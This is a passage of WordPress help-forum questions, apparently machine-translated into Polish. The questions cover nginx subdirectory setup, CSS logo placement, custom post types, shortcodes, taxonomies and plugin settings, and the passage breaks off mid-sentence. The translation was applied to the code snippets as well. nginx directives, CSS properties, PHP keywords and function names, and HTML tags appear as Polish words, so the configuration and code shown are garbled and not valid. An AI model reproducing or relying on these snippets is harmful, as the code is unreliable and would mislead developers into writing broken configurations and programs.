title: nginx podkatalog wordpress Nieprawidłowy typ postu

text: Mam serwer Ubuntu z Nginx, php-fpm i wordpressem w podkatalogu. Moja konfiguracja wygląda tak: server { #Lokalizacja konfiguracji mojej witryny /blog { root /home/user/www; index index.php index.html index.htm; dziennik_błędów /var/log/blog_error.log; strona_błędu 404 /blog/404.html; strona_błędu 500 502 503 504 /blog/50x.html; lokalizacja /blog/ { try_files $uri $uri/ /blog/index.php?$args; } lokalizacja = /blog/favicon.ico { log_not_found off; dostęp_wyloguj; } lokalizacja = /blog/robots.txt { zezwól na wszystko; log_not_found wyłączone; dostęp_wyloguj; } lokalizacja ~ /blog/\. { zaprzeczać wszystkiemu; } lokalizacja ~* /blog/(?:przesyłane|pliki)/.*\.php$ { odrzuć wszystkie; } przepisz /blog/wp-admin$ $scheme://$host$uri/ permanent; if (!-e $request_filename) { przepisz ^(.*)$ /blog/index.php?q=$1 ostatni; przerwanie; } lokalizacja ~ \.php$ { #try_files $uri =404; fastcgi_split_path_info ^(/blog)(/.*)$; fastcgi_index blog/index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; dołącz fastcgi_params; fastcgi_pass unix:/var/run/php5-fpm.sock; } lokalizacja ~* ^.+\.(css|js|ogg|ogv|svg|svgz|eot|otf|woff|mp4|ttf|rss|atom|jpg|jpeg|gif|png|ico|zip|tgz| gz|rar|bz2|doc|xls|exe|ppt|tar|mid|midi|wav|bmp|rtf)$ { access_log off; log_not_found wyłączone; wygasa max; } } } Przy świeżej instalacji WP w wersji 3.7.1 otrzymuję `Nieprawidłowy typ posta` po kliknięciu linku Posty na moim pulpicie nawigacyjnym. ![http://i.stack.imgur.com/oExqD.png](http://i.stack.imgur.com/oExqD.png) A kiedy kliknę Dodaj nowy post, otrzymuję stronę nowego posta, ale prawy pasek boczny, który powinien zawierać przycisk Opublikuj i inne kontrolki, jest pusty. ![http://i.stack.imgur.com/kPEfs.png](http://i.stack.imgur.com/kPEfs.png) Na pewno ma to coś wspólnego z moją konfiguracją, ponieważ Próbuję ze świeżym DB i świeżym WP. Jakieś pomysły? Dziękuję.


title: Jak uzyskać linki kotwiczne na górze stron.

text: Szukałem wtyczki lub poradnika, ale nie mogłem znaleźć odpowiedzi. Próbuję uzyskać pudełko z linkami do kotwicy u góry moich stron. Widzę i przykład na oficjalnej stronie wordpress. Zobacz po prawej stronie, która mówi „Zawartość” i „Powiązane”. http://en.support.wordpress.com/splitting-content/page-jumps/ Czy ktoś zna najlepszy sposób na osiągnięcie czegoś takiego? Dziękuję Ci


title: Wordpress utknął podczas usuwania użytkownika

text: Napotkaliśmy problem z naszym WP Multisite, w którym nie możemy usunąć kont użytkowników. Adres URL, który ciągle otrzymuję to: http://example.com/wp-admin/network/users.php?action=dodelete Powinien wyglądać mniej więcej tak: http://example.com/wp-admin/network/users .php?updated=true&action=delete Wygląda na to, że informacje w WP po prostu się nie aktualizują. Każdy pomysł, co się dzieje z naszą instalacją WP. PS: WP jest aktualny.


title: Pomoc z niewielką modyfikacją logo/nagłówka CSS?

text: Już prawie to rozgryzłem, ale jestem totalnym nowicjuszem w kodowaniu i ten ostatni fragment mnie dezorientuje. Staram się, aby moje logo „maskotka” było równo z górną linią mojego nagłówka i siedziało „na” pasku nawigacyjnym na dole. Mam na stronie zdjęcie dokładnie o czym mówię na stronie. (bloggingbuddhist.com) Wymyśliłem, jak ustawić go tak, aby przylegał do górnej części obszaru nagłówka, ale sprowadzenie go do końca (a nawet trochę zachodzące na siebie) jest dla mnie mylące. Kod, którym manipuluję, znajduje się poniżej, wygląda na to, że muszę również manipulować paskiem nawigacyjnym menu ... jeśli nie nawet więcej. Jakieś pomysły, co zrobić, aby cała sekcja usiadła tak, jak mam na tym zdjęciu na stronie? **DZIĘKUJĘ!** #logo { float:left; wysokość:150px; przepełnienie:ukryty; dopełnienie:10px 0 0px 10px; } #logo #h1{ float:w lewo; rodzina czcionek:Gruzja, szeryfowa; rozmiar czcionki:48px; } #logo #h2 { kolor:#777; pływak:w lewo; rozmiar czcionki:13px; wypełnienie: 5px 20px 10px; } #logo #h1 a { dekoracja tekstu: brak; kolor:#999; granica:0; } #logo #h1 a:hover, #logo #h1 a:odwiedzone, #logo #h1 a:link { border:0; } #header-icons { pozycja:bezwzględna; prawo:0; margines górny:10px; indeks z:99; } #ikony-nagłówka .twitter, #ikony-nagłówka .rss{ wysokość:27px; szerokość:160px; margines: 16px 25px; } #header-icons .twitter{ background: url("img/twitter.png") przewijanie bez powtarzania 0 0 transparent; } #header-icons .rss{ background: url("img/rss.png") przewijanie bez powtórzeń 0 0 transparent; } #header-icons .twitter a, #header-icons .rss a{ padding:10px 80px; granica:0; } #menu { background:url("img/menu-bg.png") bez powtórzeń przewijanie 0 góra przezroczysta; oba czyste; margines:0 auto 0 -4px; szerokość:1052px; } .menu-bottom { background:url("img/menu-bottom-bg.png?m") bez powtarzania przewijanie 0 dół przezroczysty; dopełnienie-dolne: 16px; } #menu ul { background:url("img/menu-curve-bg.png") bez powtarzania przewiń w lewo góra #f1f1f1; styl listy:brak poza brak; margines:0 30px; dopełnienie: 0px 10px 0 40px; wyrównanie tekstu:do prawej; pływak:w prawo; } #menu li { wyświetl: inline; dopełnienie:14px 0 11px; obramowanie po lewej: 1px stałe przezroczyste; obramowanie w prawo: 1px stałe przezroczyste; odstęp:nowrap; pozycja:względna; } #menu li.current_page_item, #menu li.current_page_item:hover { kolor tła: #fafafa; obramowanie po lewej: 1px stałe #E5E5E5; obramowanie po prawej: 1px stałe #E5E5E5; } #menu a { border:0 brak; kolor:#a1a1a1; rozmiar czcionki:16px; grubość czcionki:pogrubienie; dekoracja tekstu:brak; text-shadow:1px 1px 0px #fff; dopełnienie:10px 40px; wysokość linii:40px; } #menu a:hover, #menu a:active, #menu li.current_page_item a:link, #menu li.current_page_item a:visited, #menu li.current_page_item a:hover, #menu li.bieżąca_strona_item a:active{ color :#999; granica:0; } #menu li:hover { kolor tła: #f7f7f7; obramowanie po lewej: 1px stałe #E5E5E5; obramowanie po prawej: 1px stałe #E5E5E5; }


title: Zapytania niestandardowe – kategorie podrzędne nie są wyświetlane

text: **Co robię** Mam kategorię miast i zwykłe kategorie. Teraz mam je filtrujące według kategorii, a kiedy użytkownik kliknie miasto, będzie filtrować według kategorii ORAZ miasta `query_posts(array('category__and' => array($city, $category))` **Problem** To działa - nie ma problemu Problem pojawia się gdy dodaję podkategorie do moich głównych `$kategorii` a admin nie sprawdza rodzica.**Przykład** Mam główną kategorię: `Żywność` i 2 podkategorie ` Fries` i `Burgery`. Mam również kategorię miasta o nazwie `New York`. Administrator dodaje post i zaznacza `Fries` i `New York`, więc domyślnie wordpress wyświetli ten post. Gdy użytkownik spróbuje filtrować to według miasta ("Nowy Jork") mówi, że nie ma żadnych postów, ponieważ rodzic nigdy nie został sprawdzony. * * * Jak przenieść ten post z podkategorii na górę, gdy użytkownik filtruje kategorię nadrzędną według miasta? Przepraszam, jeśli tak jest mylące, więc w razie potrzeby zadawaj pytania. Z góry dziękujemy!


title: WordPress ulega awarii z komunikatem „Usługa jest niedostępna”. po próbie aktualizacji wtyczek

text: poszedłem uaktualnić moje wtyczki i nigdy nie wróciły .. teraz, gdy wchodzę na mojego bloga, pojawia się komunikat o błędzie: Usługa jest niedostępna. próbowałem zmienić nazwę folderu „upgrade” na wp-content, ale to nic nie dało. Jakieś sugestie?


title: Opublikuj zawartość wyświetlającą się poniżej WSZYSTKICH treści skrótów

text: Z jakiegoś powodu treść moich postów (treść umieszczona poza ustawionymi przeze mnie skrótami) wyświetla się tylko pod wszystkimi skrótami, bez względu na to, gdzie umieszczam treść w poście. Na przykład mógłbym skonfigurować post taki: `[boxes cat="Features"]` `treść testowa tutaj` `[boxes cat="Reviews"]` A zawartość testowa zostanie wyświetlona poniżej funkcji ORAZ recenzji. Dlaczego miałby to zrobić? Niektóre z moich krótkich kodów używają php `include`. Oto przykład jednego z moich skrótów: function free_ms_cms( $atts, $content = null ) { $free_ms = TEMPLATEPATH . '/pobierz-darmowy-ms.php'; uwzględnij($free_ms); } add_shortcode( 'wolne-ms', 'darmowe_ms_cms' ); Ktoś może pomóc? Dziękuję!


title: Czy można odczytać identyfikator posta, a następnie wstawić go do html posta?

text: Jeśli to możliwe, chcę wstawić identyfikator postu (z niestandardowego typu postu) do kodu HTML samego posta, gdy jest on załadowany w oknie roboczym. Scenariusz jest taki, że zawartość niestandardowego typu postu jest otoczona przez `<div>`. Chcę dołączyć 'id' do '<div>', który zawiera ID postu. Na przykład, jeśli niestandardowy typ wpisu to glosariusz, a identyfikator wpisu to 351, wynikowy kod HTML będzie wyglądał następująco: `<div id="glossary351"> Treść posta </div>` Spojrzałem na instrukcje warunkowe i wygooglowałem ten temat, ale stwierdziłem, że 1. Wiele zastosowań znajdowania identyfikatora posta miało na celu pokazanie identyfikatora na stronie, a nie wstawianie go do kodu html. 2. Moje prawie nieistniejące umiejętności PHP nie wystarczały do zrozumienia, jak używać warunków warunkowych, aby uzyskać pożądany wynik. Byłbym wdzięczny za wszelkie wskazówki dotyczące: * Czy to możliwe * Jakiekolwiek przykłady podejścia do problemu Dzięki


title: Jak działa interfejs API JSON w celu przeanalizowania przychodzącego JSON i pobrania posta na podstawie identyfikatora?

text: Muszę więc wchodzić w interakcję z dużym, oddzielnym systemem na innym serwerze, który zwróci przynajmniej identyfikatory postów do mojej instalacji wordpressa w formacie json. I zanim inni mogą zapytać, dlaczego otrzymuję identyfikatory postów z oddzielnego systemu, dzieje się tak dlatego, że ten system w końcu będzie zawierał całą naszą zawartość i planujemy używać tylko WP przez rok, a następnie rozwijać nasz własny samodzielny. Właściwie jest to bardziej skomplikowane, ale wystarczy powiedzieć, że jest prawie pewne, że będę otrzymywał identyfikatory pocztowe z zewnętrznej aplikacji w formacie json. Więc muszę dowiedzieć się, jak żądać rzeczy z pętli za pośrednictwem przychodzącego json. Mam zainstalowany interfejs API JSON na mojej witrynie Wordpress. Widzę, jak wystawić post w formacie json na mojej instalacji WP za pomocą ciągów zapytań, takich jak: http://mysite.com/?json=get_post&post_type=event&id=62 Ale to, czego naprawdę chcę, to wyeksponować żądany post w ładnie sformatowanym HTML z pętli WP. Z tego, co do tej pory przeczytałem, muszę dodać więcej filtrowania i funkcjonalności do functions.php. Czy to jest niepoprawne? Tak naprawdę moje pytanie brzmi: ** Jak wybrać identyfikator z odpowiedzi json pochodzącej z usługi zewnętrznej i przesłać go do pętli Wordpress, abym mógł zobaczyć ładowanie zdarzenia w środkowej kolumnie, wszystko ładnie sformatowane i takie tam? ** Czy potrzebuję niestandardowego kontrolera lub czegokolwiek? Widzę post.php w kontrolerach. Ale wydaje się, że wszystkie te kontrolery zwracają json. W tym przypadku pracuję z niestandardowym typem posta „event” z wtyczki Event Manager. EDYCJA: Używam tylko JSON API. Nie wtyczka Jetpack. Czy powinienem być? Nie wygląda na to....


title: Niestandardowe typy postów i archiwum kategorii

text: Myślę, że to powinno być proste, ale staram się, aby to zadziałało. Mam następujące: Niestandardowy typ strony o nazwie „produkty”. Produkty zawierają wiele kategorii i podkategorii. Kategorie i podkategorie zawierają posty (produkty). Chcę, aby niestandardowa strona szablonu zawierała listę głównych kategorii, które uzyskałem, dodając plik szablonu o nazwie „archive-products.php” - teraz wyświetla on wszystkie główne kategorie w typie postu produktów. Teraz, kiedy wybieram kategorię, chcę wyświetlić inny szablon, aby wyświetlić wszystkie podkategorie i produkty w tej kategorii, ale nie mogę go załadować do prawidłowego pliku szablonu. Myślałem, że powinien załadować plik 'archive-products.php' i mógłbym wykryć kategorię i pokazać inny szablon, ale nie wiem, jak to zrobić. Mam nadzieję, że to coś prostego, co przegapiłem, ale tak długo wpatrywałem się w problem, że nie mogę znaleźć rozwiązania! Z góry dziękuję.


title: Pobierz listę aktualizacji WP w różnych witrynach

text: Czy istnieje sposób na zapytanie witryny WP, aby zobaczyć liczbę aktualnie dostępnych aktualizacji? Tak naprawdę nie szukam listy aktualnych aktualizacji, tylko liczby. Byłaby to całkowita liczba aktualizacji wtyczek / motywów / rdzeni, tak jak jest wymieniona w menu administratora WP. Zarządzam wieloma witrynami WP na wielu serwerach i chciałbym mieć łatwiejszy sposób na sprawdzenie, kiedy aktualizacje są dostępne, zamiast sprawdzania ich indywidualnie.


title: Dostosuj WordPress>Strona błędów

text: Czy istnieje sposób na dostosowanie szablonu strony błędów WordPress>, aby użytkownik nie był wyświetlany tylko pusty ekran z tekstem? Nie mówię o 404, ale kiedy WordPress wyświetla błąd. Chciałbym wystylizować tę stronę, aby pasowała do mojego motywu.


title: Jak wyświetlić opis obrazu z galerii obrazów?

text:
Mam waniliową instalację Wordpress 3.6. Używam motywu Twenty Thirteen. Stworzyłem kilka galerii. Na stronie pojedynczego obrazu „podpis” jest wyświetlany pod obrazem. Chciałbym zamiast tego wyświetlić obrazki „opis”. Jak mogę to zrobić? Link do przykładowej strony obrazu: http://1dayranch.jasonormand.com/dogs/winston/ Oto kod pliku image.php

 <id artykułu="post-<?php the_ID(); ?>" <?php post_class( 'załącznik-zdjęcia' ); ?>>
<?php the_title(); ?>

 <?php $published_text = __( 'Opublikowane <time class="entry-date" datetime="% 1$s">%2$s</time> w %5$s', 'dwadzieścia trzynaście' ); $post_title = get_the_title( $post->post_parent ); if ( empty( $post_title ) || 0 == $post->post_parent ) $published_text = '<time class="data-wejścia" datetime="%1$s"> %2$s</time>'; printf( $published_text, esc_attr( get_the_date( 'c' ) ), esc_html( get_the_date() ), esc_url( get_permalink( $post->post_parent ) ), esc_attr( strip_tags( $post_title ) ), $post_title ); $ metadane = wp_get_attachment_metadata(); printf( '%3$s (%4$s × %5$ s)', esc_url( wp_get_attachment_url() ), esc_attr__( 'Link do obrazu w pełnym rozmiarze', 'twentythirteen' ), __( 'Pełna rozdzielczość', 'twentythirteen' ), $metadata[ 'szerokość'], $metadane['wysokość'] ); edit_post_link( __( 'Edytuj', 'dwadzieścia trzynaście' ), '', '' ); ?>

  <?php previous_image_link( false, __( '← Poprzedni', 'dwadzieścia trzynaście' ) ); ?> <?php next_image_link( false, __( 'Następny →', 'dwadzieścia trzynaście') ); ?>

 <?php dwadzieścia trzynaście_dołączony_obraz(); ?> <?php if ( has_excerpt() ): ?>
 <?php the_excerpt(); ?>
 <?php endif; ?>

 <?php if ( ! empty( $post->post_content ) ) : ?>
 <?php the_content(); ?> <?php wp_link_pages( array( 'before' => '
' . __( 'Strony:', 'twentythirteen' ), 'after' => '
' ) ); ?>
 <?php endif; ?>
 </artykuł> <?php comments_template(); ?>


title: Wyłącz obrazy połączonej galerii, jeśli przeglądarka mobilna

text: Więc znalazłem to pytanie tutaj: Właściwy sposób na usunięcie linków miniaturek w galerii i wygląda na dobrą odpowiedź, ale jak mogę to zastosować tylko wtedy, gdy użytkownik korzysta z przeglądarki mobilnej, a przynajmniej jeśli ekran jest w określonym szerokość? W tej chwili korzystam z natywnej galerii wordpress, a po kliknięciu kciuka wyświetla się większy obraz. Nie chcę tego robić, jeśli korzystasz z telefonu lub przeglądarki o małej szerokości.


title: Organizator wydarzenia: lista wydarzeń zawiera zwykłe wpisy i pola niestandardowe?

text: Ostatnio próbowałem skonfigurować i używać wtyczki Event Organizer. Niestety, gdy używam skrótu na mojej stronie Kalendarza, wydaje się, że zawiera on zwykłe posty na blogu w strumieniu. Nie są one wyświetlane w taki sam sposób, jak moja lista wydarzeń, ale jeśli usunę ten skrót, również znikną i nie mogę wymyślić, jak je usunąć, pozostawiając nienaruszoną listę przeszłych wydarzeń. Zobacz tutaj, do czego mam na myśli. Backend na stronie wygląda tak: Nadchodzące wydarzenia [eo_events showpastevents=false] Pełna lista przeszłych wydarzeń [eo_events event_end_before=today] Jeszcze jedna rzecz, którą chciałbym zrobić, to dodać formularze metadanych do pola Szczegóły wydarzenia na odwrocie. koniec. Zaprojektowałem oryginalną witrynę ( http://www.kentuckyauthorforum.com ) kilka lat temu, a teraz próbuję zaktualizować ją pod kątem projektu i przekonwertować na Wordpress, aby ułatwić zarządzanie. Częścią tego jest możliwość dołączenia konkretnych linków do treści multimedialnych (sprawdź pasek boczny jednej ze stron autora, do czego mam na myśli), które chciałbym móc uwzględnić w szczegółach wydarzenia i pojawiły się w pasek boczny poszczególnych stron. Wszystko, co możesz zasugerować, aby pomóc w obu problemach, byłoby bardzo mile widziane. p.s. jeśli możesz pomóc, pamiętaj, że jestem nowicjuszem, jeśli chodzi o kodowanie php.


title: Jak mam naprawić to najwyraźniej pomieszane uaktualnienie?

text: Jestem nowicjuszem w zakresie WordPressa i próbuję pomóc przyjacielowi (który jest jeszcze bardziej nowicjuszem w zakresie WordPressa) w jego blogu WordPress na GoDaddy. Działało dobrze, dopóki najwyraźniej (nie do końca pamięta) został poproszony o aktualizację oprogramowania. Teraz blog nadal działa dla użytkowników końcowych (możesz go zobaczyć tutaj), ale za każdym razem, gdy logujesz się do administratora WordPress, otrzymujesz stronę nie znaleziono / „To trochę zawstydzające, prawda?” strona. Adres URL, do którego została przekierowana przeglądarka, to: `http://brewstersmith.com/wp-admin/upgrade.php?_wp_http_referer=%2Fwp-admin%2F` Wygląda na to, że próba aktualizacji została w jakiś sposób pomieszana. Biorąc pod uwagę, że nie wiem, co dokładnie spowodowało to, jakie kroki powinienem podjąć, aby rozpocząć badanie problemu i najlepiej wycofać aktualizację (lub ją ukończyć), aby ponownie można było używać bloga?


title: 500 wewnętrzny błąd serwera

text: Dość często spotykam się z serwerem wewnętrznym 500.0 z moją witryną. Szczegóły błędu podano poniżej. Błąd HTTP 500.0 — Wewnętrzny błąd serwera C:\PHP\php-cgi.exe — Proces FastCGI przekroczył skonfigurowany limit czasu aktywności Moduł FastCgiModule Notification ExecuteRequestHandler Handler PHP_via_FastCGI Kod błędu 0x80070102 Żądany adres URL http://mydomain.com:80/index.php Fizyczne Ścieżka C:\HostingSpaces\coderefl\mydomain.com\wwwroot\index.php Metoda logowania Anonimowy Użytkownik Anonimowy Użytkownik Anonimowy Kiedy skontaktowałem się z zespołem pomocy technicznej, powiedzieli, że moja witryna wykonuje ciężkie zapytania SQL. Nie jestem pewien, jak to debugować. Ale moja strona jest bardzo mała, a baza danych jest zoptymalizowana. Używam wordpressa jako platformy. Jak rozwiązać ten problem.


title: Używanie Fullscreenra z blogiem wordpress - dziwny błąd

text: Zastanawiam się, czy ktoś tutaj używał wcześniej wtyczki jquery „fullscreenr” z motywem wordpress. Zauważyłem dziwny błąd, na który na pewno natknąłby się każdy, kto używał tego wcześniej do budowania wordpress. Będę tak zwięzły, jak to możliwe. Fullscreenr to wtyczka jQuery, która pozwala na skalowanie pełnoekranowego obrazu bg. Dla odniesienia: http://nanotux.com/blog/fullscreen/ Problem, który mam, to dziwny błąd dotyczący używania kotwic HTML, które są kierowane na lokalizację znajdującą się u dołu strony docelowej. To zmusza BG do zmiany rozmiaru poniżej oryginalnego rozmiaru okna. Na początku wszystko wygląda świetnie, ale jeśli użytkownik spróbuje przewinąć z powrotem, pasek przewijania utknie, a dobre 200 pikseli BG również utknie. Możesz zobaczyć, jak działa skalowalny bg tutaj: http://dev.citylightphilly.com/html (spróbuj pomniejszyć i zmienić rozmiar okna). strony testowej) Normalnie powiedziałbym - „no cóż, jeśli naprawdę chcę skalowalnego BG, po prostu nie użyję kotwic poniżej pewnego punktu na stronie docelowej”. Jednak w przypadku bloga wordpress bardzo konieczne staje się semantyczne linkowanie bezpośrednio do tagu #respond dla komentarzy, które zawsze znajdują się na dole strony! jakieś pomysły? Nie znam jQuery na tyle dobrze, aby kodować w obejściu.. Pomocy!


title: Automatyczne tworzenie stron z katalogu szablonów

text: Czy istnieje sposób, aby WordPress automatycznie tworzył strony statyczne ze wszystkich plików szablonów w danym katalogu? Więc zamiast ręcznie tworzyć niestandardowe szablony stron w desce rozdzielczej WP, chciałbym napisać skrypt, który przegląda każdy plik w katalogu i tworzy nowy niestandardowy szablon strony dla każdego z nich na podstawie nazwy szablonu podanej w `/* Nazwa szablonu: deklaracja Foo */`. Znam oferowane tutaj rozwiązanie, ale nadal wydaje się, że wymaga ręcznego wprowadzania stron pojedynczo.


title: Dlaczego Paginacja Wordpress usuwa spacje z mojej zmiennej GET?

text: Jako parametr wyszukiwania przekazuję zmienną GET na końcu mojego adresu URL. Kiedy przeprowadzam zwykłe wyszukiwanie, wszystko działa dobrze: _www.mysite.com/?find=my+search_ Jednak po kliknięciu na drugą stronę wyników Wordpress wycina zapytanie wyszukiwania ze spacji i konwertuje adres URL na: _www .mysite.com/page/2/?find=mysearch_ Używam wtyczki WP-PageNavi i sprawdziłem, czy adres URL następnej strony jest poprawny: _www.mysite.com/page/2/?find=my+search_ Moja struktura permalinków to: /%post_id%/%postname%/ **Czy ktoś miał doświadczenie z Wordpress usuwającym spacje z Twojego adresu URL podczas korzystania z niestandardowych permalinków?** Z góry dziękujemy za pomoc! Nie udało mi się znaleźć wiele na ten temat w Internecie, z wyjątkiem kilku innych osób z tym samym problemem.


title: Jak programowo utworzyć połączenie z [Plugin: Posts 2 Posts] na cpt publishing?

text: **Jak mogę programowo utworzyć połączenie między jednym niestandardowym typem posta, cpt, (ze znanym identyfikatorem posta) a innym na cpt podczas publikacji?** Używam metody publikowania postów VoodooPress, aby opublikować typ posta o nazwie _post-type -A_. Jedno pole wejściowe w formularzu _post-type-A_ to publiczny numer inwentarzowy, który dzięki miłości wp_query daje mi identyfikator posta _post-type-B_, z którym chcę nawiązać relację. Wiem, że mogę użyć tej funkcji do stworzenia jednokierunkowego połączenia z _post-type-A_ do _post-type-B_ przy użyciu pola niestandardowego. add_action('strona_publikowania', 'add_custom_field_automatically'); add_action('publish_post', 'add_custom_field_automatically'); funkcja add_custom_field_automatically($post_ID) { global $wpdb; if (! wp_is_post_revision ($post_ID)) { add_post_meta ($post_ID, "nazwa pola", "wartość niestandardowa", prawda); } } Ale jak mogę programowo utworzyć połączenie za pomocą wtyczki @Scribu's Posts 2 Posts? Dwustronna relacja zmniejszyłaby wiele kłopotów i czasu na programowanie. :) Dla porównania, poniższy fragment to referencja connect api dla wtyczki... /** * Połącz post z innym * * @param int $post_a Pierwszy koniec połączenia * @param int $post_b Drugi koniec połączenia * @param bool $bydirectional Czy połączenie powinno być dwukierunkowe */ function p2p_connect( $post_a, $post_b, $bydirectional = false ) { add_post_meta( $post_a, P2P_META_KEY, $post_b ); if ( $bydirectional) add_post_meta( $post_b, P2P_META_KEY, $post_a ); }


title: Rozwiązanie kalendarza: obsługa nadchodzących dat za pomocą postów?

text: Nie jestem pewien, czy mogę zadać takie pytanie na tym forum, ale spróbuję. Moje pytanie nie dotyczy jeszcze problemu technicznego, ale tego, w jaki sposób moja kompletna architektura tematyczna może zostać zbudowana, aby pasowała do moich celów. Moja strona dotyczy głównie nadchodzących wydarzeń - m.in. jak wykłady i warsztaty. Chciałbym wymienić wszystkie nadchodzące wykłady i warsztaty na mojej stronie głównej z krótkim opisem (może to być `the_excerpt`). Klikając w datę (np. warsztat) chcę zobaczyć pełny opis wydarzenia. Absolutnie nie mam pojęcia, czy w ogóle da się zrobić coś takiego z "postami" - nadchodzącymi datami? Jeśli to możliwe, pomyślałem o potraktowaniu "warsztatów" i "wykładów" jako kategorii, więc mogę też sortować według kategorii lub wyświetlać całą stronę zawierającą tylko wszystkie wykłady lub wszystkie warsztaty. Poza tym chciałbym móc zrobić jeszcze jedną rzecz - recenzje z imprezy. Więc wyobraź sobie, że termin (wykład lub warsztat) dobiegł końca. Nadal chcę pokazać wydarzenie w "archiwum" lub czymś, gdzie do samego terminu mogę dodać recenzję ze zdjęciami i opisem wydarzenia. Jak mogłem sobie z tym poradzić z wordpressem - zwykle jestem całkiem dobry, jeśli chodzi o programowanie tego motywu, po prostu nie wiem, jak stworzyć tę architekturę z wordpressem! Z góry dziękuję. edit: Jeśli nie jest to możliwe z samym wordpressem, czy znacie wtyczkę, która obsługuje takie rzeczy? Aktualizacja: add_action("admin_init", "admin_init"); function admin_init(){ add_meta_box("date_of_event-meta", "Data zdarzenia", "date_of_event", "events", "side", "low"); } funkcja date_of_event() { global $post; $custom = get_post_custom($post->ID); $data_zdarzenia = $niestandardowa["data_zdarzenia"][0]; ?> <label>Data zdarzenia:</label> <input name="data_zdarzenia" value="<?php echo $data_zdarzenia; ?>" /> <?php }


title: Dostosuj stronę kategorii do różnych niestandardowych taksonomii

text:
To, nad czym pracuję, to strony, na które przechodzisz po kliknięciu niestandardowej taksonomii w interfejsie użytkownika. Dotarłem do punktu, w którym zduplikowałem category.php, przemianowałem go na taxonomy-tr_property_region.php, aby móc edytować sposób wyświetlania postów z taksonomią tr_property_region. Jeśli dobrze rozumiem, muszę edytować loop.php, ale nie chcę, aby taksonomia-tr_property_region.php wyglądała tak samo jak taxonomy-language.php czy istnieje sposób, aby nie używać get_template_part( 'loop', 'category' ) ; Przykładem jest to, że chcę to zmienić get_template_part( 'pętla', 'kategoria' ); Aby być czymś bardziej podobnym,
 <?php $pętla = cokolwiek zastępuje get_template_part( 'pętla', 'kategoria' ); ?> <?php while ( $loop->have_posts() ): $loop->the_post(); ?>

 <a href="<?php the_permalink(); ?>"><?php the_title(); ?> <?php $meta = get_post_meta(get_the_ID(), 'rw_propCity', prawda); echo $meta; ?>

 <?php if ( has_post_thumbnail()) : ?> <a href="<?php the_permalink(); ?>" title="<?php the_title_attribute() ; ?>" > <?php the_post_thumbnail('thumbnail'); ?>  <?php endif; ?>

 <?php $meta = get_post_meta(get_the_ID(), 'rw_propBedrooms', true); echo $meta; ?> <?php $meta = get_post_meta(get_the_ID(), 'rw_propŁazienki', prawda); echo $meta; ?> <?php $meta = get_post_meta(get_the_ID(), 'rw_propDesc', prawda); echo $meta; ?>

 <?php endwhile; ?>


title: Niektóre obrazy na stronie Wordpress nagle zniknęły

text: Nie jestem pewien, kiedy to się zaczęło, ponieważ nie zwracałem na to uwagi. Próbowałem wyłączyć ostatnie wtyczki bezskutecznie. Niektóre z moich obrazów po prostu zniknęły i wydaje się, że nie ma wzorca do którego, ale kiedy kopiuję lokalizację obrazu, otrzymuję adres URL, który wygląda mniej więcej tak: http://www.pureplantessentials.comhttp// www.pureplantessentials.com/bruce_lipton1.jpg kiedy powinno być coś takiego: http://www.pureplantessentials.com/bruce_lipton1.jpg Zajrzałem do kodu i mówi, że adres URL obrazu to: /bruce_lipton1.jpg Prawdopodobnie możesz zgadnij adres URL mojej witryny. Co tu się może dziać?


title: Jak przygotować tłumaczenie wtyczki WordPress?

text: Jak najlepiej stworzyć wtyczkę gotową do tłumaczenia? Nie musi być tłumaczony od początku, ale musi być łatwo przetłumaczalny, aby inni programiści z różnych kultur mogli uczestniczyć w procesie lokalizacji wtyczki.


title: Podziel tabelę WP_POST na podstawie typów postów

text: Zastanawiałem się, czy możliwe jest pobranie moich postów z 2 baz danych w zależności od typu posta. Używam HyperDB, ale nie mogę go uzyskać, aby określić bazę danych na podstawie typu postu. Zasadniczo potrzebuję, aby wszystkie moje "produktowe" typy postów zostały przeniesione z innej bazy danych do ogólnych postów WP (media, strony itp.)? Wszelkie myśli są mile widziane


title: WordPress Sprawdź funkcję roli użytkownika (wiele ról)?

text: Bawię się z funkcją check_user_role stworzoną przez AppThemes; jak wspomniano na stronie WordPress current_user_can codex. W kodzie samouczka AppThemes odwołuje się do następujących elementów: // przykład użyj dla bieżącego użytkownika if ( appthemes_check_user_role( 'customer' ) _e( "Masz dostęp koleś!", 'appthemes' ); else _e( "Przepraszam, stary, bez powodzenia.", "appthemes"); Chcę, aby to działało z więcej niż 1 rolą użytkownika (tj. "customrole", "subskrybent"), ale nie mam dużo szczęścia bez tworzenia czegoś, co wydaje się powtarzalnym kodem. sposób, w jaki udało mi się to zrobić, to zrobić coś takiego: if (appthemes_check_user_role( 'customrole' ) || appthemes_check_user_role( 'autor' ) ) { _e( "Masz dostęp koleś!", 'appthemes' ); } else { _e( "Przepraszam, nie mam szczęścia.", 'appthemes' ); } Albo to: if (appthemes_check_user_role( 'customrole' ) ) { _e( "Masz dostęp koleś!", 'appthemes' ); } if ( appthemes_check_user_role( 'autor' )) { _e( "Masz dostęp koleś!", 'appthemes' ); }else{ _e( "Przepraszam, bez powodzenia.", 'appthemes' ); } Zastanawiałem się, czy ktoś ma jakieś sugestie dotyczące uproszczenia kodu do użytku z wieloma rolami?


title: Wielokrotne zatwierdzenie przez redaktorów przed publikacją?

text: Chcę, aby post mógł zatwierdzić więcej niż 1 redaktor, zanim będzie można go opublikować. Czy jest coś, co robi to po wyjęciu z pudełka, czy będę musiał toczyć własne?


title: Błąd podczas zmiany nazwy opcji

text: **UPDATE:** Ten błąd pochodzi z WP_DEBUG...oczywiście Embedded_url jeszcze nie istniał. Jednakże, kiedy ustawię wartość $options[embedded_url] za pomocą formularza, tablica $options magicznie dodaje zarówno nową wartość embedded_url ORAZ jakoś zapamiętuje starą wartość text_string. Dodałem unset($options['text_string']); do mojego kodu, ale jak tylko nacisnę przycisk Zapisz ustawienia, to znowu jest z powrotem w $options. text_string nie istnieje już nigdzie w moim kodzie. To całkowicie zniknęło. Gdzie jest ten duch tekst_string?! * * * Postępowałem zgodnie z tym samouczkiem niemal słowo w słowo, aby utworzyć niestandardową stronę administratora/ustawień dla utworzonej wtyczki. Próbowałem zmienić nazwę opcji `text_string` na inną – `embedded_url`. Mam włączony WP_DEBUG. Kiedy załadowałem stronę ustawień mojej wtyczki, tuż nad moim polem wprowadzania tekstu jest ten błąd: > Uwaga: Niezdefiniowany indeks: embedded_url w…. a następnie wskazuje na linię echo tej funkcji: function plugin_setting_url() { $options = get_option('plugin_options'); echo "<input id='plugin_url' name='plugin_options[embedded_url]' size='40' type='text' value='{$options['embedded_url']}' />"; } Ponieważ jest to jedyne miejsce, w którym `łańcuch_tekstowy` 